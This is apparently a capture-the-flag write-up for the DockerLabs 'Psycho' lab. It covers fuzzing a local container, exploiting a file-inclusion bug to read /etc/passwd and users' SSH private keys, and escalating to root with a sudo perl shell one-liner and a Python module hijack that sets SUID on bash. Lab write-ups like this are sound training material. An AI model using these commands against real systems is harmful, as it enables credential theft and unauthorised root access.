> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/psycho.md). # Psycho ## 1 - Reconnaissance We begin with a fast Nmap scan to identify open ports: `nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5` **Result: ports 22 and 80 are open** ## 2 - Enumeration Now we run a service/version detection scan, targeting only the open ports we found on the previous scan: `nmap 172.17.0.2 -p ports -sS -Pn -sCV`

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`: ``` ffuf-dir () { ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt } ``` we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

## 3 - Exploitation We discover a weird error at the bottom of the index.php page, as if it were trying to display a file, but didn't load it properly. That looks like it's waiting for a parameter, so we ran: ``` ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://172.17.0.2/index.php/?FUZZ=/etc/passwd ``` and we found **secret**. After browsing 172.17.0.2/?secret=/etc/passwd:

Now that we know 2 potential users, `vaxei` and `luisillo`, we will run hydra on them to try to find a way into the machine. We tried to run hydra on them, but their passwords weren't found on rockyou.txt, so we will skip that way. As we can read files, we will try to find anything on this routes: ``` /index.php?page=../../../../home/vaxei/.ssh/id_rsa /index.php?page=../../../../home/luisillo/.ssh/id_rsa ``` We found vaxei's id\_rsa, so we copy it and we will use it to login.

## 4 - Privilege Escalation Once we're into `vaxei`, we have sudo permissions as `luisillo` on `/usr/bin/perl`, so we can use this GTFOBins oneliner to move horizontally: ``` sudo -u luisillo perl -e 'exec "/bin/sh";' ```

Now, as `luisillo`, we have sudo permissions as `root` on `/usr/bin/python3 /opt/paw.py`, so we will check that file. We can't modify it, but we can see it's calling some libraries we could hijack:

We will create a file called `subprocess.py`, since Python will search for the library on the current directory before searching on `/usr/lib/python3`: ``` import os os.system("chmod u+s /bin/bash") ``` After running `sudo /usr/bin/python3 /opt/paw.py` we will get SUID on /bin/bash, and after running `/bin/bash -p` we will have a root shell.

## 5 - Summary **Initial Access:**\ Directory enumeration and parameter fuzzing revealed an LFI vulnerability in `index.php`. Using it, we read `/home/vaxei/.ssh/id_rsa` and gained SSH access as `vaxei`. **Exploitation:**\ Abused the LFI to retrieve sensitive files and pivoted into the system using the exposed SSH key. **Privilege Escalation:**\ As `vaxei`, we could run Perl as `luisillo` via sudo. From there, `luisillo` had sudo rights on `/usr/bin/python3 /opt/paw.py`, which imported insecure modules. By hijacking `subprocess`, we set SUID on `/bin/bash` and obtained a root shell.